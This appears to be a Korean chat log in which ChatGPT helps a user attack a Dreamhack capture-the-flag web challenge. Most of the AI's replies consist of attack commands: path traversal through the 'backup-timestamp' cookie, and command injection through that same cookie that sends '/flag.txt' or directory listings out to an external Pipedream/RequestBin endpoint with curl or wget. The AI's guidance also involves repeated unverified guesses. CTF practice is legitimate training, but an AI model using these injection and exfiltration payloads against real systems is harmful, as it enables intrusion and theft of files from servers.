ls -lah /tmp/ 명령어를 어떻게 보내? 백업된 파일 목록을 확인하고싶은데, 웹 url으로 보내야해? 아니면 curl로?
 

ChatGPT의 말:

웹 애플리케이션에서 직접 ls -lah /tmp/ 명령어를 실행할 수 있는 방법은 없지만, 현재 주어진 취약점을 이용해서 백업된 파일 목록을 간접적으로 확인할 수 있는 방법이 있습니다.


🚀 백업된 파일 목록을 확인하는 방법

✅ 1️⃣ 웹 URL을 통해 직접 확인 (GET /backup_notes)

웹 애플리케이션이 /tmp/{timestamp} 파일을 저장하는 걸 이용하면, /backup_notes 페이지에서 힌트를 얻을 수 있음.

📌 현재 백업된 파일이 있는지 확인하려면, /backup_notes를 호출

bash
복사편집

응답 내용에 "현재 백업된 파일이 없습니다" 같은 메시지가 나오면, 아직 백업이 생성되지 않은 것!
반대로, 백업이 성공하면 /tmp/에 특정 timestamp 값의 파일이 저장됨.


✅ 2️⃣ backup-timestamp 조작을 이용해서 기존 파일 접근

만약 서버에서 기존 backup-timestamp 쿠키를 활용하고 있다면, 이 쿠키 값을 특정 값으로 설정하여 기존 파일을 확인할 수 있음.

📌 백업 파일이 있는지 확인하는 요청

bash
복사편집
curl -X GET http://target.com/backup_notes \ --cookie "backup-timestamp=1645678901"

이 값이 실제 서버에 있는 백업 파일의 timestamp라면, 해당 백업 파일의 내용을 확인할 수 있음.
➡ 응답 결과가 백업된 노트의 내용이라면, /tmp/1645678901 같은 파일이 존재하는 것!


✅ 3️⃣ POST /backup_notes를 통해 직접 /tmp/에 백업 파일 생성

백업 노트 기능을 이용해서 직접 /tmp/ 경로에 파일을 생성할 수도 있음.

📌 현재 시간 기반으로 강제 백업 실행

bash
복사편집

이렇게 하면, /tmp/{timestamp} 파일이 생성됨.

📌 이제 /backup_notes에 다시 접근해서 파일이 생성되었는지 확인 가능

bash
복사편집

파일이 생성되었으면, /tmp/에 해당 파일이 존재한다는 뜻!


✅ 4️⃣ /tmp/flag.txt가 존재하는지 확인

이제 /flag.txt를 백업하도록 backup-timestamp를 조작해서 확인 가능

📌 백업 타임스탬프를 /flag.txt로 설정

bash
복사편집
curl -X POST http://target.com/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

이렇게 하면, /tmp/flag.txt가 백업되어 우리가 접근할 수 있게 될 가능성이 있음!
➡ 이후 GET /backup_notes 요청을 보내서 백업된 내용을 확인할 수 있음.


🔥 최종 전략

1️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일 존재 여부 확인
2️⃣ curl -X POST http://target.com/backup_notes 로 강제 백업 실행
3️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일이 생성되었는지 확인
4️⃣ curl -X POST http://target.com/backup_notes --cookie "backup-timestamp=../../flag.txt" 로 플래그 유출 시도

🚀 이제 직접 테스트하면서 파일이 어디 저장되는지 확인해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt" curl: (6) Could not resolve host: http
 

ChatGPT의 말:

🚨 curl: (6) Could not resolve host: http 오류 해결 방법

http://http://host1.dreamhack.games:17508/backup_notes
"http://"가 두 번 들어가서 오류 발생!


✅ 1️⃣ 올바른 URL 형식으로 요청 보내기

📌 올바른 curl 명령어 예제

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"

✔ http://를 한 번만 사용
✔ --cookie 옵션을 사용하여 backup-timestamp 값을 /flag.txt로 조작


✅ 2️⃣ 백업된 파일 확인 (GET 요청)

📌 백업된 파일 확인하기

bash
복사편집

✔ 이 요청을 통해 서버가 백업한 파일의 내용을 확인 가능!
✔ ../../flag.txt가 /tmp/flag.txt로 복사되었다면, 플래그를 출력할 수도 있음


✅ 3️⃣ 추가적인 확인 (디버깅)

🔹 서버가 backup-timestamp를 제대로 처리하는지 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=test123"

이렇게 보내고, /tmp/test123가 생성되었는지 GET /backup_notes로 확인

🔹 서버가 /flag.txt에 접근할 권한이 있는지 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/etc/passwd"

만약 /etc/passwd 같은 파일이 백업되면, LFI(로컬 파일 포함) 가능성이 있음.


🚀 최종 목표

1️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 실행해서 현재 백업된 파일 확인
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt" 실행해서 /flag.txt를 강제로 백업
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 다시 실행해서 플래그 확인!

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"

Backup Notes

C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notes

Backup Notes

 

ChatGPT의 말:

🔍 요청 결과 분석

현재 curl 요청을 통해 받은 응답이 HTML 코드인 것으로 보입니다.
이는 우리가 /backup_notes 페이지를 열었을 때 표시되는 백업 UI입니다.


🚀 백업된 파일이 표시되지 않는 이유

1️⃣ 백업 노트가 존재하지 않음

  • backup_notes() 함수 내부에서 len(notes) == 0이면 백업이 실행되지 않음.
  • 즉, 적어도 하나 이상의 노트를 생성해야 백업 기능이 동작함!

2️⃣ 서버가 timestamp를 조작하는 요청을 막고 있음

  • /backup_notes를 호출하면 서버는 backup-timestamp 쿠키 값을 사용해 백업 파일을 저장하는데,
  • 만약 우리가 ../../flag.txt 같은 경로를 주입했을 때, 서버가 이를 허용하지 않도록 설정했을 가능성이 있음.

🔹 해결 방법

✅ 1️⃣ 먼저 노트를 하나 생성하기

백업을 진행하려면, 적어도 하나의 노트가 존재해야 함
➡ 노트를 생성한 후 다시 /backup_notes 요청을 보내면 백업이 가능해질 것!

📌 노트 생성 요청

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/create_note \ -d "content=test_note"

➡ 성공하면, 노트가 생성됨.

📌 생성된 노트 확인

bash
복사편집

노트가 정상적으로 생성되었는지 확인!


✅ 2️⃣ 백업 요청을 정상적으로 실행하기

노트를 생성한 후, 다시 백업을 시도

📌 노트가 존재하는 상태에서 백업 실행

bash
복사편집

➡ 이 요청이 성공하면, /tmp/{timestamp} 경로에 백업 파일이 생성됨.

📌 백업된 파일 확인

bash
복사편집

이제 /tmp/{timestamp}가 표시되는지 확인해야 함.


✅ 3️⃣ backup-timestamp를 조작해서 플래그 확인

백업된 파일이 존재하는지 확인한 후,
이제 backup-timestamp 쿠키를 조작하여 /flag.txt를 백업 시도

📌 강제로 flag.txt 백업 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

이제 다시 /backup_notes를 확인하면, /tmp/flag.txt 내용이 표시될 가능성이 있음!

📌 백업된 플래그 확인

bash
복사편집

이제 백업된 내용이 표시되는지 확인!


🚀 최종 실행 순서

1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notes

Backup Notes

계속 이것만 떠..
 

ChatGPT의 말:

🚨 여전히 백업된 파일이 안 보이는 이유 분석

현재 /backup_notes 페이지를 호출하면 백업된 파일이 표시되지 않고, 기본 HTML 폼만 출력되고 있음.
이 경우 서버에서 백업이 정상적으로 이루어지지 않았을 가능성이 큼!


✅ 1️⃣ 백업 파일이 생성되었는지 확인해야 함

우리가 backup_notes() 함수를 실행했을 때, /tmp/{timestamp}에 파일이 생성되는지 확인해야 함.

📌 백업 강제 실행

bash
복사편집

백업이 정상적으로 실행되었는지 확인해야 함.

📌 다시 확인 (GET 요청)

bash
복사편집

이제 백업된 파일이 존재하는지 확인.


✅ 2️⃣ 백업을 정상적으로 실행했는데도 /tmp/에 파일이 없는 경우

가능한 원인 1️⃣ 노트가 존재하지 않아서 백업이 실행되지 않음
→ 노트를 하나 생성한 후 다시 백업 시도해야 함. 2️⃣ 서버에서 timestamp 쿠키 값을 무시할 가능성 있음
→ 특정한 timestamp 값이 있어야 백업된 파일을 확인할 수 있음.


✅ 3️⃣ 해결 방법

📌 먼저 노트를 생성한 후 백업 실행

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/create_note \ -d "content=test_note"

✔ 노트를 생성한 후 백업을 다시 실행해야 백업이 정상적으로 동작함.

📌 백업 실행

bash
복사편집

📌 백업이 정상적으로 이루어졌는지 확인

bash
복사편집

✅ 4️⃣ backup-timestamp 쿠키를 조작하여 flag.txt 백업 시도

백업된 파일이 정상적으로 확인되었다면, 이제 쿠키 값을 조작해서 /flag.txt를 백업해야 함.

📌 쿠키 조작하여 flag.txt 백업

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=../../flag.txt"

📌 이제 /backup_notes를 확인

bash
복사편집

✔ 만약 /tmp/flag.txt가 백업되었다면, 이 페이지에서 플래그가 표시될 가능성이 큼! 🚀


🚀 최종 실행 순서

1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

힌트가 공격의 결과를 외부에서 확인하려면??, 그렇게 하면 출력이 되지 않는것이 당연합니다! 출력해주는 명령어가 없기때문이죠 하지만 실행은 되었을것 입니다. 실행한 값을 보기 위해서 다양한 방법이 있을 수도 있지만 저는 requests bin에 대해 찾아보시는거 추천드립니다! 이거임
 

ChatGPT의 말:

🔍 힌트 분석: "공격의 결과를 외부에서 확인하려면?"

📌 현재 서버에서 백업된 파일을 직접 확인할 수 없는 이유는:

  • 백업한 파일을 직접 출력하는 코드가 없음.
  • 즉, /backup_notes에서 응답으로 백업된 파일을 보여주지 않음.
  • 하지만 명령어는 실행되었을 가능성이 높음.

➡ 즉, 우리가 실행한 결과를 외부에서 확인해야 함!
➡ 서버에서 요청을 외부로 보내도록 유도하면 됨!


🚀 RequestBin을 활용한 RCE 확인 방법

📌 RequestBin이란?

  • 외부에서 서버가 보낸 HTTP 요청을 모니터링할 수 있는 서비스.
  • 서버에서 실행한 결과를 RequestBin으로 전송하면, 이를 외부에서 확인 가능!

✅ 1️⃣ RequestBin 생성

1️⃣ https://requestbin.com/ 접속
2️⃣ "Create a RequestBin" 클릭
3️⃣ 생성된 RequestBin URL을 복사 (예: https://en1f2o3x.requestbin.com/)


✅ 2️⃣ 백업 명령어를 RequestBin으로 유도

서버에서 특정 명령어 실행 결과를 RequestBin으로 전송하도록 조작할 수 있음.

📌 backup_notes()에서 실행되는 subprocess.Popen을 조작하기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://en1f2o3x.requestbin.com/"

➡ 이 요청이 실행되면:
/flag.txt 파일의 내용을 RequestBin으로 POST 전송!
RequestBin에서 플래그를 확인할 수 있음! 🚀


✅ 3️⃣ RequestBin에서 플래그 확인

📌 RequestBin 사이트에서 요청 확인
1️⃣ RequestBin 사이트로 이동
2️⃣ POST 요청 데이터 확인
3️⃣ 데이터에 /flag.txt 내용이 포함되어 있을 가능성이 큼!


🔥 최종 공격 전략

1️⃣ RequestBin 생성 (https://en1f2o3x.requestbin.com/)
2️⃣ backup_notes의 timestamp를 명령어 삽입(curl -X POST -d @/flag.txt)
3️⃣ RequestBin에서 플래그 확인 (POST 요청 확인)

🚀 이제 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://eoebm9636i74y0t.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link.

 

ChatGPT의 말:

🔍 공격 결과 분석

현재 curl 명령어가 정상적으로 실행되었을 가능성이 높음!
하지만 서버에서 바로 결과를 보여주지 않기 때문에,
RequestBin(또는 Pipedream)에서 플래그를 확인해야 함! 🚀


✅ 1️⃣ Pipedream에서 플래그 확인

📌 Pipedream이란?

📌 결과 확인 방법

1️⃣ Pipedream Requests 사이트 접속
2️⃣ 로그인 후 https://eoebm9636i74y0t.m.pipedream.net에 들어감
3️⃣ 새로운 POST 요청이 도착했는지 확인
4️⃣ 전송된 데이터에 /flag.txt 내용이 포함되었는지 확인

🚀 정상적으로 동작했다면, 플래그가 포함된 데이터가 보일 것! 🔥


✅ 2️⃣ 공격이 성공했는지 확인하는 방법

📌 공격이 실행되었는지 다시 확인하려면?

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://eoebm9636i74y0t.m.pipedream.net"

다시 한 번 요청을 보내고, Pipedream에서 결과 확인!

📌 명령이 실행되었는지 로그 확인

bash
복사편집

만약 정상적으로 실행되었다면, 서버에서 flag.txt가 전송되었을 가능성이 높음.


🔥 최종 정리

1️⃣ RequestBin (Pipedream) 생성 (https://eoebm9636i74y0t.m.pipedream.net)
2️⃣ 백업 명령어 조작하여 플래그 전송 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d @/flag.txt https://eoebm9636i74y0t.m.pipedream.net"

3️⃣ Pipedream에서 /flag.txt 내용이 포함된 요청을 확인!

🚀 이제 Pipedream에서 플래그를 찾아보자! 🔥

 
4o

나의 말:

 
없는데?? flag??

ChatGPT의 말:

🔍 Pipedream에 flag.txt 데이터가 안 온 이유 분석

현재 Pipedream을 제대로 설정하고 요청을 보냈음에도 불구하고 데이터가 수신되지 않은 상태임.

➡ 즉, 서버에서 우리가 보낸 명령어를 실행하지 않았거나, 실행되었지만 데이터를 전송하지 않았을 가능성이 높음


✅ 1️⃣ 공격이 서버에서 실행되었는지 확인하기

우리가 실행한 명령어가 서버에서 실행되었는지 먼저 확인해야 함.
📌 테스트 명령어로 서버가 외부로 요청을 보내도록 유도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net"

이 요청이 정상적으로 실행되면, Pipedream에 test=hello 값이 도착해야 함.
➡ 만약 이 요청도 도착하지 않았다면, 서버에서 명령어 실행이 차단되었을 가능성이 큼.


✅ 2️⃣ 서버에서 명령어 실행이 차단되었는지 확인

📌 명령어 실행이 막혔다면, 다른 방식으로 접근해야 함.
➡ subprocess.Popen()이 실행되었다면, /tmp/에 파일을 생성했을 가능성이 있음.
이 경우, 우리가 백업된 파일을 직접 확인하는 방법을 시도해야 함.


✅ 3️⃣ /tmp/flag.txt 파일을 직접 백업 후 확인

📌 이제 /tmp/flag.txt를 백업할 수 있는지 테스트

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/flag.txt"

이제 /backup_notes에서 백업된 파일이 보이는지 확인

bash
복사편집

만약 이 요청에서 플래그가 보이면, 성공적으로 백업됨!


✅ 4️⃣ ls -lah /tmp/ 명령어 실행이 가능한지 확인

만약 위 방법들이 전부 실패했다면, 서버에서 어떤 파일이 존재하는지 확인해야 함.
📌 파일 목록을 RequestBin으로 전송해보기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 요청이 실행되면, /tmp/에 어떤 파일이 있는지 Pipedream에서 확인 가능!


🔥 최종 시도 순서

1️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net" (서버가 외부 요청을 보내는지 확인)
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt" (파일을 직접 백업해서 확인)
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes (백업된 파일이 보이는지 확인)
4️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net" (/tmp/ 내부 파일 목록 확인)

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link.

 

ChatGPT의 말:

🔍 분석: 모든 시도가 실패한 이유

현재 backup-timestamp를 조작하여 명령 실행을 시도했지만, 서버에서 아무런 반응이 없음
즉, 명령어 삽입(RCE)이 막혔을 가능성이 높음 또는 출력 결과가 보이지 않음


✅ 1️⃣ 서버가 외부 요청을 보내지 않는지 확인

📌 RequestBin(Pipedream)에 test=hello가 도착하지 않음

  • curl -X POST -d 'test=hello'를 실행했지만 Pipedream에서 요청을 받지 못함
    서버에서 |를 포함한 명령 실행을 차단했을 가능성이 있음
    ➡ 또는 subprocess.Popen()이 shell=False로 실행되고 있을 가능성 존재

📌 ls -lah /tmp/ 명령 실행도 실패

  • 서버에서 명령어가 실행되지 않거나, 실행되더라도 외부로 출력이 불가능한 상태
    ➡ 즉, 우리가 보낸 요청이 파일 시스템에 변화를 주었지만, 출력이 없어서 확인할 방법이 없음

✅ 2️⃣ 백업된 파일을 직접 확인하는 방법 시도

명령어 실행이 차단되었다면, 기존의 backup_notes() 기능을 활용해서 flag.txt를 백업하는 방법을 시도해야 함

📌 1️⃣ /flag.txt를 /tmp/로 백업

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/flag.txt"

이제 /backup_notes를 다시 확인하면 백업된 /tmp/flag.txt가 보일 가능성이 있음.

📌 2️⃣ 백업된 파일 확인

bash
복사편집

백업된 /tmp/flag.txt가 보이면 성공!


✅ 3️⃣ backup_notes 요청 로그를 확인하는 방법

만약 백업이 성공했는데도 보이지 않는다면, backup_notes가 저장된 경로를 확인해야 함.

📌 서버가 /tmp/에 어떤 파일이 있는지 직접 확인하기

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/"

이제 /backup_notes를 다시 확인하면 /tmp/ 내부의 파일 목록이 보일 가능성이 있음.


✅ 4️⃣ 명령어 실행 우회 방법

📌 만약 직접적인 명령 실행이 막혔다면, 다른 방식으로 접근해야 함

  • ; 또는 &&를 사용하여 명령 실행 시도
bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; curl -X POST -d @/flag.txt https://eok17showi9fd4vm.m.pipedream.net"
  • $(command) 방식 시도
bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=$(cat /flag.txt | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net)"

🚀 최종 공격 순서

1️⃣ /flag.txt를 /tmp/로 백업 시도 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/flag.txt"
2️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
3️⃣ /tmp/ 내부 파일 목록 확인 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/"
4️⃣ 명령 실행 우회 시도 (;, &&, $(command))

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

누가 qna에 이렇게 구문했는데, 아무것도 안된다하니까 backup-timestamp cookie에 curl -L -X POST "http://host1.dreamhack.games:24301/backup_notes" --cookie "backup-timestamp=1739255792.6550727; ls" 누가 답글로 그렇게 하면 출력이 되지 않는것이 당연합니다! 출력해주는 명령어가 없기때문이죠 하지만 실행은 되었을것 입니다. 실행한 값을 보기 위해서 다양한 방법이 있을 수도 있지만 저는 requests bin에 대해 찾아보시는거 추천드립니다!. 달아줌
 

ChatGPT의 말:

🔍 QnA 분석: 백업 타임스탬프 조작과 RequestBin 활용

📌 문제 핵심

1️⃣ 명령어 실행은 성공했지만 출력이 보이지 않음

  • backup-timestamp 값에 명령어(ls)를 넣었을 때 실행은 되었음.
  • 하지만 결과를 출력하는 명령어가 없기 때문에 우리가 직접 볼 수 없음.

2️⃣ 해결책: 서버가 실행한 결과를 외부에서 확인해야 함

  • RequestBin (또는 Pipedream)을 이용해서 서버가 실행한 명령의 결과를 전송받아야 함.

✅ 1️⃣ 서버에서 ls 실행 후 결과를 RequestBin으로 보내기

📌 서버가 /tmp/ 디렉터리 목록을 실행하고 결과를 RequestBin으로 보내도록 유도

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 요청이 실행되면, /tmp/ 내부의 파일 목록이 RequestBin에 도착해야 함.
✔ @-는 표준 입력을 그대로 POST 요청에 포함시킴.


✅ 2️⃣ /flag.txt 존재 여부 확인

📌 위 명령을 실행한 후, Pipedream에서 /flag.txt 파일이 있는지 확인
1️⃣ Pipedream 사이트에서 새로운 POST 요청 확인
2️⃣ /tmp/ 내 파일 목록이 포함된 요청이 도착했는지 확인
3️⃣ flag.txt가 존재하는지 확인

➡ 만약 /flag.txt가 존재한다면, 다음 단계 진행! 🚀


✅ 3️⃣ /flag.txt 내용을 RequestBin으로 전송

📌 이제 /flag.txt 내용을 RequestBin으로 직접 전송해야 함

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; cat /flag.txt | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

✔ cat /flag.txt → flag.txt 내용을 출력
✔ curl -X POST -d @- → 출력된 내용을 Pipedream으로 POST 요청

📌 이제 Pipedream에서 새로운 요청이 도착했는지 확인!
정상적으로 요청이 오면, 플래그가 포함된 데이터를 확인할 수 있음! 🚀


🚀 최종 공격 순서

1️⃣ /tmp/ 내 파일 목록 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Pipedream에서 파일 목록 확인 (flag.txt 존재 여부 체크)

2️⃣ /flag.txt 내용 RequestBin으로 전송

bash
복사편집
curl -X POST http://host1.dreamhack.games:24301/backup_notes \ --cookie "backup-timestamp=; cat /flag.txt | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Pipedream에서 flag.txt 내용 확인 (플래그 획득 🎉)

🚀 이제 다시 시도해보자! 🔥

 
4o

나의 말:

 
C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

Redirecting...

You should be redirected automatically to the target URL: /. If not, click the link. 뜨는데, requestbin에서 뭐 내가 설정 잘못한걸까?

ChatGPT의 말:

🔍 문제 분석: RequestBin에서 아무 요청도 오지 않는 이유

현재 실행한 명령어:

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 명령어가 실행되었다면, Pipedream(RequestBin)에서 /tmp/ 디렉터리의 파일 목록이 담긴 POST 요청이 와야 함.
하지만 Pipedream에서 아무 요청도 오지 않음


✅ 1️⃣ RequestBin(Pipedream) URL이 잘못 설정되었는지 확인

🔹 URL 형식 확인

현재 사용한 URL:

arduino
복사편집
https://eok17showi9fd4vm.m.pipedream.net

올바른 URL인지 다시 확인해야 함.
➡ Pipedream에서 Trigger URL을 다시 확인하고, 올바른 URL을 사용했는지 점검.

🔹 https://를 http://로 변경하여 시도

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | curl -X POST -d @- http://eok17showi9fd4vm.m.pipedream.net"

일부 서버에서는 https:// 트래픽을 차단하는 경우가 있음.
http:// 프로토콜로 변경하여 다시 시도.


✅ 2️⃣ 서버에서 curl 실행이 차단되었는지 확인

서버가 curl 실행을 차단했을 가능성 존재.
📌 다른 명령어로 RequestBin을 트리거할 수 있는지 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; echo test | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"

이 명령어가 실행되면, RequestBin에서 test라는 데이터가 와야 함.
아직도 아무 반응이 없다면, 서버가 curl 실행을 차단한 것일 가능성이 높음.

📌 Wget을 사용하여 시도 (wget이 허용될 수도 있음)

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

이 방법이 작동하는지 확인!


✅ 3️⃣ ls 실행은 성공했지만, 출력이 /tmp/에 저장된 경우

서버가 직접 RequestBin으로 데이터를 보내지 않고, ls 결과를 /tmp/에 저장했을 수도 있음.

📌 결과를 파일로 저장하고 직접 확인하는 방법

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

➡ 이제 /tmp/output.txt가 생성되었을 가능성이 있음.

📌 백업 기능을 이용하여 해당 파일을 확인

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

➡ 그런 다음 /backup_notes에서 /tmp/output.txt 내용이 보이는지 확인.


🚀 최종 시도 순서

1️⃣ RequestBin URL 확인 (http:// 사용해보기)
2️⃣ curl 실행이 차단되었는지 echo test로 확인
3️⃣ wget 방식으로 시도 (wget --post-file=- 사용)
4️⃣ ls 실행 결과를 /tmp/output.txt에 저장 후 확인


🚀 이제 다시 시도해보고 결과 알려줘! 🔥

 
4o

나의 말:

아니 requestbin 주소 맞는데..왜 안보이냐고 ㅅㅂㅋㅋㅋ
 

ChatGPT의 말:

ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
오케이, 다시 한 번 체크해보자. 지금까지 했던 시도들을 정리하고, 뭘 놓쳤는지 확인해보자.


✅ 1️⃣ RequestBin (Pipedream) 요청이 안 오는 이유

🔹 1. RequestBin URL 문제?

✔ 너가 사용한 URL https://eok17showi9fd4vm.m.pipedream.net 확실히 맞아?
➡ Pipedream에서 URL이 바뀌진 않았는지 한 번 더 확인!
혹시 https 대신 http로 해야 하는지 체크!
Pipedream에서 "Generate Event" 눌러서 URL이 살아있는지도 확인!

bash
복사편집
curl -X POST -d "test=hello" https://eok17showi9fd4vm.m.pipedream.net

이거 실행해서 RequestBin에서 test=hello 오는지 확인해봐!이것도 안 오면 RequestBin 문제임!


🔹 2. 서버에서 curl 실행이 막혀있을 가능성?

✔ 만약 서버에서 curl 실행이 아예 막혀 있다면, RequestBin으로 전송 자체가 안 될 수 있음.
➡ 그럼 다른 방법(Wget)으로 시도해봐야 함.

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ | wget --post-file=- https://eok17showi9fd4vm.m.pipedream.net"

이걸로 RequestBin에서 반응이 오는지 확인!


🔹 3. 실행된 결과가 /tmp/ 어딘가에 저장된 가능성?

✔ 만약 명령 실행은 됐지만, 결과가 외부로 나가지 못하는 상황이라면?
➡ 그러면 /tmp/에 저장되었을 가능성이 높음.

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=; ls -lah /tmp/ > /tmp/output.txt"

이제 /tmp/output.txt가 생겼을 거임!
✔ 그럼 이제 이 파일을 불러와야겠지?

bash
복사편집
curl -X POST http://host1.dreamhack.games:17508/backup_notes \ --cookie "backup-timestamp=/tmp/output.txt"

이렇게 해서 /backup_notes에서 확인할 수 있는지 체크해봐!


🚀 최종 점검 리스트

1️⃣ Pipedream RequestBin URL 맞는지 다시 확인 (test=hello 보내보기)
2️⃣ curl 실행이 막혔을 가능성? wget으로 전송해보기
3️⃣ 실행된 결과가 /tmp/에 저장되었을 가능성? output.txt로 확인


